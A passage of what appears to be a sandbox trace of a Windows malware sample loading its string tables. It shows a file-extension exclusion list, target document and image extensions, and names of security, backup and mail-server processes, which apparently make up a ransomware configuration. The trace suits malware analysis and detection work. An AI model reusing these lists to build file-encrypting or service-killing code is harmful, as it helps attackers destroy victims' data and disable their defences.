RtlFreeAnsiString (AnsiString="\\") [0085.169] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*\\Program File*\\Cisco" | out: DestinationString="*\\Program File*\\Cisco") [0085.169] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*\\Program File*\\Cisco", AllocateDestinationString=1 | out: DestinationString="*\\Program File*\\Cisco") returned 0x0 [0085.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d7b40 [0085.169] RtlFreeAnsiString (AnsiString="*") [0085.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a0) returned 0x135280 [0085.169] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="msp" | out: DestinationString="msp") [0085.169] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="msp", AllocateDestinationString=1 | out: DestinationString="msp") returned 0x0 [0085.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3420 [0085.169] RtlFreeAnsiString (AnsiString="m") [0085.169] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="exe" | out: DestinationString="exe") [0085.169] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="exe", AllocateDestinationString=1 | out: DestinationString="exe") returned 0x0 [0085.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3430 [0085.169] RtlFreeAnsiString (AnsiString="e") [0085.169] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="sys" | out: DestinationString="sys") [0085.169] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="sys", AllocateDestinationString=1 | out: DestinationString="sys") returned 0x0 [0085.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3440 [0085.169] RtlFreeAnsiString (AnsiString="s") [0085.169] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="msc" | out: DestinationString="msc") [0085.170] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="msc", AllocateDestinationString=1 | out: DestinationString="msc") returned 0x0 [0085.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3450 [0085.170] RtlFreeAnsiString (AnsiString="m") [0085.170] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="mod" | out: DestinationString="mod") [0085.170] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="mod", AllocateDestinationString=1 | out: DestinationString="mod") returned 0x0 [0085.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3460 [0085.170] RtlFreeAnsiString (AnsiString="m") [0085.170] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="clb" | out: DestinationString="clb") [0085.170] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="clb", AllocateDestinationString=1 | out: DestinationString="clb") returned 0x0 [0085.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3470 [0085.170] RtlFreeAnsiString (AnsiString="c") [0085.170] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="mui" | out: DestinationString="mui") [0085.170] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="mui", AllocateDestinationString=1 | out: DestinationString="mui") returned 0x0 [0085.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3480 [0085.170] RtlFreeAnsiString (AnsiString="m") [0085.170] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="regtrans-ms" | out: DestinationString="regtrans-ms") [0085.170] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="regtrans-ms", AllocateDestinationString=1 | out: DestinationString="regtrans-ms") returned 0x0 [0085.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b8250c0 [0085.170] RtlFreeAnsiString (AnsiString="r") [0085.170] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="theme" | out: DestinationString="theme") [0085.170] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="theme", AllocateDestinationString=1 | out: DestinationString="theme") returned 0x0 [0085.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b8250e0 [0085.170] RtlFreeAnsiString (AnsiString="t") [0085.170] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="hta" | out: DestinationString="hta") [0085.170] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="hta", AllocateDestinationString=1 | out: DestinationString="hta") returned 0x0 [0085.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3490 [0085.171] RtlFreeAnsiString (AnsiString="h") [0085.171] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="shs" | out: DestinationString="shs") [0085.171] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="shs", AllocateDestinationString=1 | out: DestinationString="shs") returned 0x0 [0085.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d34a0 [0085.171] RtlFreeAnsiString (AnsiString="s") [0085.171] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="nomedia" | out: DestinationString="nomedia") [0085.171] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="nomedia", AllocateDestinationString=1 | out: DestinationString="nomedia") returned 0x0 [0085.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b825100 [0085.171] RtlFreeAnsiString (AnsiString="n") [0085.171] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="diagpkg" | out: DestinationString="diagpkg") [0085.171] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="diagpkg", AllocateDestinationString=1 | out: DestinationString="diagpkg") returned 0x0 [0085.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b825120 [0085.171] RtlFreeAnsiString (AnsiString="d") [0085.171] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="cab" | out: DestinationString="cab") [0085.171] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="cab", AllocateDestinationString=1 | out: DestinationString="cab") returned 0x0 [0085.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d34b0 [0085.171] RtlFreeAnsiString (AnsiString="c") [0085.171] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="ics" | out: DestinationString="ics") [0085.171] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="ics", AllocateDestinationString=1 | out: DestinationString="ics") returned 0x0 [0085.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d34c0 [0085.171] RtlFreeAnsiString (AnsiString="i") [0085.171] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="msstyles" | out: DestinationString="msstyles") [0085.171] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="msstyles", AllocateDestinationString=1 | out: DestinationString="msstyles") returned 0x0 [0085.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b825140 [0085.171] RtlFreeAnsiString (AnsiString="m") [0085.171] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="cur" | out: DestinationString="cur") [0085.171] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="cur", AllocateDestinationString=1 | out: DestinationString="cur") returned 0x0 [0085.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d34d0 [0085.172] RtlFreeAnsiString (AnsiString="c") [0085.172] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="drv" | out: DestinationString="drv") [0085.172] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="drv", AllocateDestinationString=1 | out: DestinationString="drv") returned 0x0 [0085.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d34e0 [0085.172] RtlFreeAnsiString (AnsiString="d") [0085.172] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="icns" | out: DestinationString="icns") [0085.172] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="icns", AllocateDestinationString=1 | out: DestinationString="icns") returned 0x0 [0085.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x1b825160 [0085.172] RtlFreeAnsiString (AnsiString="i") [0085.172] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="diagcfg" | out: DestinationString="diagcfg") [0085.172] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="diagcfg", AllocateDestinationString=1 | out: DestinationString="diagcfg") returned 0x0 [0085.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b825180 [0085.172] RtlFreeAnsiString (AnsiString="d") [0085.172] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="dll" | out: DestinationString="dll") [0085.172] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="dll", AllocateDestinationString=1 | out: DestinationString="dll") returned 0x0 [0085.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d34f0 [0085.172] RtlFreeAnsiString (AnsiString="d") [0085.172] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="ocx" | out: DestinationString="ocx") [0085.172] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="ocx", AllocateDestinationString=1 | out: DestinationString="ocx") returned 0x0 [0085.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3500 [0085.172] RtlFreeAnsiString (AnsiString="o") [0085.172] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="lnk" | out: DestinationString="lnk") [0085.172] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="lnk", AllocateDestinationString=1 | out: DestinationString="lnk") returned 0x0 [0085.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3510 [0085.172] RtlFreeAnsiString (AnsiString="l") [0085.173] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="ico" | out: DestinationString="ico") [0085.173] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="ico", AllocateDestinationString=1 | out: DestinationString="ico") returned 0x0 [0085.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3520 [0085.173] RtlFreeAnsiString (AnsiString="i") [0085.173] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="idx" | out: DestinationString="idx") [0085.173] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="idx", AllocateDestinationString=1 | out: DestinationString="idx") returned 0x0 [0085.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3530 [0085.173] RtlFreeAnsiString (AnsiString="i") [0085.173] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="ps1" | out: DestinationString="ps1") [0085.173] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="ps1", AllocateDestinationString=1 | out: DestinationString="ps1") returned 0x0 [0085.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3540 [0085.173] RtlFreeAnsiString (AnsiString="p") [0085.173] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="mpa" | out: DestinationString="mpa") [0085.173] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="mpa", AllocateDestinationString=1 | out: DestinationString="mpa") returned 0x0 [0085.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3550 [0085.173] RtlFreeAnsiString (AnsiString="m") [0085.173] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="cpl" | out: DestinationString="cpl") [0085.173] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="cpl", AllocateDestinationString=1 | out: DestinationString="cpl") returned 0x0 [0085.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3560 [0085.173] RtlFreeAnsiString (AnsiString="c") [0085.173] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="icl" | out: DestinationString="icl") [0085.173] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="icl", AllocateDestinationString=1 | out: DestinationString="icl") returned 0x0 [0085.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3570 [0085.174] RtlFreeAnsiString (AnsiString="i") [0085.174] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="msu" | out: DestinationString="msu") [0085.174] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="msu", AllocateDestinationString=1 | out: DestinationString="msu") returned 0x0 [0085.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3580 [0085.174] RtlFreeAnsiString (AnsiString="m") [0085.174] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="msi" | out: DestinationString="msi") [0085.174] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="msi", AllocateDestinationString=1 | out: DestinationString="msi") returned 0x0 [0085.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3590 [0085.174] RtlFreeAnsiString (AnsiString="m") [0085.174] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="nls" | out: DestinationString="nls") [0085.174] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="nls", AllocateDestinationString=1 | out: DestinationString="nls") returned 0x0 [0085.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d35a0 [0085.174] RtlFreeAnsiString (AnsiString="n") [0085.174] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="scr" | out: DestinationString="scr") [0085.174] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="scr", AllocateDestinationString=1 | out: DestinationString="scr") returned 0x0 [0085.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d35b0 [0085.174] RtlFreeAnsiString (AnsiString="s") [0085.174] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="adv" | out: DestinationString="adv") [0085.174] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="adv", AllocateDestinationString=1 | out: DestinationString="adv") returned 0x0 [0085.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d35c0 [0085.174] RtlFreeAnsiString (AnsiString="a") [0085.174] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="386" | out: DestinationString="386") [0085.175] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="386", AllocateDestinationString=1 | out: DestinationString="386") returned 0x0 [0085.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d35d0 [0085.175] RtlFreeAnsiString (AnsiString="3") [0085.175] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="com" | out: DestinationString="com") [0085.175] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="com", AllocateDestinationString=1 | out: DestinationString="com") returned 0x0 [0085.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d35e0 [0085.175] RtlFreeAnsiString (AnsiString="c") [0085.175] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="hlp" | out: DestinationString="hlp") [0085.175] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="hlp", AllocateDestinationString=1 | out: DestinationString="hlp") returned 0x0 [0085.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d35f0 [0085.175] RtlFreeAnsiString (AnsiString="h") [0085.175] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="rom" | out: DestinationString="rom") [0085.175] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="rom", AllocateDestinationString=1 | out: DestinationString="rom") returned 0x0 [0085.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3600 [0085.175] RtlFreeAnsiString (AnsiString="r") [0085.175] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="lock" | out: DestinationString="lock") [0085.175] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="lock", AllocateDestinationString=1 | out: DestinationString="lock") returned 0x0 [0085.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x1b8251a0 [0085.175] RtlFreeAnsiString (AnsiString="l") [0085.175] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="386" | out: DestinationString="386") [0085.175] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="386", AllocateDestinationString=1 | out: DestinationString="386") returned 0x0 [0085.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b8242f0 [0085.176] RtlFreeAnsiString (AnsiString="3") [0085.176] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="wpx" | out: DestinationString="wpx") [0085.176] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="wpx", AllocateDestinationString=1 | out: DestinationString="wpx") returned 0x0 [0085.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b824300 [0085.176] RtlFreeAnsiString (AnsiString="w") [0085.176] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="ani" | out: DestinationString="ani") [0085.176] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="ani", AllocateDestinationString=1 | out: DestinationString="ani") returned 0x0 [0085.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b824310 [0085.176] RtlFreeAnsiString (AnsiString="a") [0085.176] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="prf" | out: DestinationString="prf") [0085.176] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="prf", AllocateDestinationString=1 | out: DestinationString="prf") returned 0x0 [0085.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b824320 [0085.176] RtlFreeAnsiString (AnsiString="p") [0085.176] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="rtp" | out: DestinationString="rtp") [0085.176] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="rtp", AllocateDestinationString=1 | out: DestinationString="rtp") returned 0x0 [0085.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b824330 [0085.176] RtlFreeAnsiString (AnsiString="r") [0085.176] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="ldf" | out: DestinationString="ldf") [0085.177] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="ldf", AllocateDestinationString=1 | out: DestinationString="ldf") returned 0x0 [0085.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b824340 [0085.177] RtlFreeAnsiString (AnsiString="l") [0085.177] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="key" | out: DestinationString="key") [0085.177] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="key", AllocateDestinationString=1 | out: DestinationString="key") returned 0x0 [0085.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b824350 [0085.177] RtlFreeAnsiString (AnsiString="k") [0085.177] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="diagcab" | out: DestinationString="diagcab") [0085.177] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="diagcab", AllocateDestinationString=1 | out: DestinationString="diagcab") returned 0x0 [0085.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b8251c0 [0085.177] RtlFreeAnsiString (AnsiString="d") [0085.177] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="cmd" | out: DestinationString="cmd") [0085.177] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="cmd", AllocateDestinationString=1 | out: DestinationString="cmd") returned 0x0 [0085.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b824360 [0085.177] RtlFreeAnsiString (AnsiString="c") [0085.177] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="spl" | out: DestinationString="spl") [0085.177] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="spl", AllocateDestinationString=1 | out: DestinationString="spl") returned 0x0 [0085.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b824370 [0085.177] RtlFreeAnsiString (AnsiString="s") [0085.177] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="deskthemepack" | out: DestinationString="deskthemepack") [0085.178] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="deskthemepack", AllocateDestinationString=1 | out: DestinationString="deskthemepack") returned 0x0 [0085.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b829ca0 [0085.178] RtlFreeAnsiString (AnsiString="d") [0085.178] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="bat" | out: DestinationString="bat") [0085.178] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="bat", AllocateDestinationString=1 | out: DestinationString="bat") returned 0x0 [0085.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b824380 [0085.178] RtlFreeAnsiString (AnsiString="b") [0085.178] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="themepack" | out: DestinationString="themepack") [0085.178] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="themepack", AllocateDestinationString=1 | out: DestinationString="themepack") returned 0x0 [0085.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b8251e0 [0085.178] RtlFreeAnsiString (AnsiString="t") [0085.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1b7d7940 [0085.178] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="jpg" | out: DestinationString="jpg") [0085.178] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="jpg", AllocateDestinationString=1 | out: DestinationString="jpg") returned 0x0 [0085.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b824390 [0085.178] RtlFreeAnsiString (AnsiString="j") [0085.178] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="jpeg" | out: DestinationString="jpeg") [0085.178] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="jpeg", AllocateDestinationString=1 | out: DestinationString="jpeg") returned 0x0 [0085.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x1b825200 [0085.179] RtlFreeAnsiString (AnsiString="j") [0085.179] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="png" | out: DestinationString="png") [0085.179] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="png", AllocateDestinationString=1 | out: DestinationString="png") returned 0x0 [0085.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b8243a0 [0085.179] RtlFreeAnsiString (AnsiString="p") [0085.179] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="bmp" | out: DestinationString="bmp") [0085.179] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="bmp", AllocateDestinationString=1 | out: DestinationString="bmp") returned 0x0 [0085.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b8243b0 [0085.179] RtlFreeAnsiString (AnsiString="b") [0085.179] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="doc" | out: DestinationString="doc") [0085.179] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="doc", AllocateDestinationString=1 | out: DestinationString="doc") returned 0x0 [0085.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b8243c0 [0085.179] RtlFreeAnsiString (AnsiString="d") [0085.179] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="docx" | out: DestinationString="docx") [0085.179] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="docx", AllocateDestinationString=1 | out: DestinationString="docx") returned 0x0 [0085.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x1b825220 [0085.179] RtlFreeAnsiString (AnsiString="d") [0085.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x210) returned 0x1b77a8c0 [0085.180] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="nslsvice.exe" | out: DestinationString="nslsvice.exe") [0085.180] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="nslsvice.exe", AllocateDestinationString=1 | out: DestinationString="nslsvice.exe") returned 0x0 [0085.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b829cd0 [0085.180] RtlFreeAnsiString (AnsiString="n") [0085.180] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="pg*" | out: DestinationString="pg*") [0085.180] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="pg*", AllocateDestinationString=1 | out: DestinationString="pg*") returned 0x0 [0085.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b8243d0 [0085.180] RtlFreeAnsiString (AnsiString="p") [0085.180] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="nservice.exe" | out: DestinationString="nservice.exe") [0085.180] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="nservice.exe", AllocateDestinationString=1 | out: DestinationString="nservice.exe") returned 0x0 [0085.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b829d00 [0085.180] RtlFreeAnsiString (AnsiString="n") [0085.180] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="cbvscserv*" | out: DestinationString="cbvscserv*") [0085.180] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="cbvscserv*", AllocateDestinationString=1 | out: DestinationString="cbvscserv*") returned 0x0 [0085.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b825240 [0085.180] RtlFreeAnsiString (AnsiString="c") [0085.180] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="ntrtscan.exe" | out: DestinationString="ntrtscan.exe") [0085.180] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="ntrtscan.exe", AllocateDestinationString=1 | out: DestinationString="ntrtscan.exe") returned 0x0 [0085.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b829d30 [0085.180] RtlFreeAnsiString (AnsiString="n") [0085.180] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="cbservi*" | out: DestinationString="cbservi*") [0085.181] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="cbservi*", AllocateDestinationString=1 | out: DestinationString="cbservi*") returned 0x0 [0085.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b825260 [0085.181] RtlFreeAnsiString (AnsiString="c") [0085.181] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="hMailServer*" | out: DestinationString="hMailServer*") [0085.181] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="hMailServer*", AllocateDestinationString=1 | out: DestinationString="hMailServer*") returned 0x0 [0085.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b829d60 [0085.181] RtlFreeAnsiString (AnsiString="h") [0085.181] RtlInitAnsiString (in: 